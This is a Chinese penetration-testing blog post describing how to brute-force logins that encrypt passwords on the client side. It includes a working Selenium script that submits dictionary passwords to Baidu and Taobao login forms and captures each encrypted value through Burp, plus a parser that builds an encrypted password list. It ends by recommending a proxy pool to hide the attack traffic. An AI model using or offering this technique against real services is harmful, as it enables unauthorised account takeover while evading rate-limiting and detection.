登陆爆破之0基础绕过密码加密

2020-05-12 约 180 字 预计阅读 1 分钟

声明:本文 【登陆爆破之0基础绕过密码加密】 由作者 maybewhynot 于 2020-05-12 08:30:27 首发 先知社区 曾经 浏览数 8 次

感谢 maybewhynot 的辛苦付出!

0x01、起因

前段时间身为菜鸡的我也终于接到了一个内网任务,由于没有经验渗透过程中花了很多不必要的时间,导致后期在向目标域移动的时候授权time up了。

之中就有一个前端密码加密的OA,js基础只限于alert(1)的我第一次走运地找到了加密函数,兴致勃勃地照着c0ny1师傅的插件https://github.com/c0ny1/jsEncrypter走了流程,从找参与加密的js文件到最终运行一路踩坑,还是因为一段奇怪的字符出了bug,我又不会调。

最后还是用selenium执行js解决的,整个过程两小时。

0x02、痛定思痛

这一次尚且幸运找到了加密函数,下次找不到了怎么办?用selenium一路点过来,单线程速度慢,多线程内存CPU开销大,再有个http资源加载缓慢,渲染缓慢,标签定位改变,因为爆破流量明显被ban IP,想想就找其他地点去了。

痛定思痛,想到了刚学web的时候,burpsuite开了拦截还怪网页为什么不动,然后发现http history里一列request都卡在那里,一个idea就冒了出来:用selenium设置请求超时,自动换密码点登陆把request发到burp拦截,加密好的密码列表不就有了吗?

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException

chrome_driver = "E:\Python36\chromedriver.exe"
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument('--proxy-server=http://127.0.0.1:8080')
driver = webdriver.Chrome(chrome_driver, chrome_options=chromeOptions)
driver.set_page_load_timeout(0.1)#设置请求超时,直接timeout,不等待,不重载
driver.set_script_timeout(0.1)

while(1):
    name = input("Are you really?[Y|N]")
    if (name == 'Y') or (name == 'y'):
        break

with open('E:/exploit/dictionary/fuzzDicts/1/pwd.txt','r',encoding='utf8')as f:
    lines = f.readlines()

#百度
##usr_css_selector = '#TANGRAM__PSP_10__userName'
##pwd_css_selector = '#TANGRAM__PSP_10__password'
##submit_css_selector = '#TANGRAM__PSP_10__submit'

#淘宝
usr_css_selector = '#fm-login-id'
pwd_css_selector = '#fm-login-password'
submit_css_selector = '#login-form > div.fm-btn > button'

print('start')

for i in lines[::-1]:#对顺序
    try:
        driver.execute_script('''
        var usr = document.querySelector(\''''+usr_css_selector+'''\');
        var pwd = document.querySelector(\''''+pwd_css_selector+'''\');
        var submit = document.querySelector(\''''+submit_css_selector+'''\');
        usr.value = '18888888888';
        pwd.value = \'''' + i.strip() +'''\';
        submit.removeAttribute('disabled')
        submit.click();
        ''')#removeAttribute去掉disabled、readonly、onfocus=this.blur()等属性,让标签可选中
    except TimeoutException:
        pass

print('end')

试试百度


保存request,处理一下,就是加密好的密码列表

import re

file_path = 'C:/Users/liulangmao/Desktop/bbbbbbb'
with open(file_path,'r',encoding='utf8')as f:
    lines = f.readlines()

with open(file_path+'_crypto','w',encoding='utf8')as f:
    for i in lines:
        if 'username=18888888888&password=' in i:
            crypto_pwd = i.strip().split('username=18888888888&password=')[1].split('&mem_pass=')[0]
            f.write(crypto_pwd + '\n')


再试试淘宝,淘宝的login请求包在burp里不drop的话,登陆按钮会等待一段时间才能按,看标签并未发现disable等属性。一直点drop也不是办法,这时又想到了给burp加socks代理时默认是错误主机127.0.0.,相当于直接drop request了,不会像设置错误端口时一样等待一段时间才会timeout。


勾选之后就不用拦截request了。


当然淘宝的动态key和滑块我尚未涉略。

最后附一张获取代码中css_selector参数的图。

流程:打开burp -> 设置socks代理127.0.0. -> 运行_selenium.py -> 确认请求包能到达burp -> 输入Y -> 保存并处理request

按这个流程操作,输入Y到映射出密码列表只需要几秒,还不用找加密函数。接个代理池,流量就不会那么明显了。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now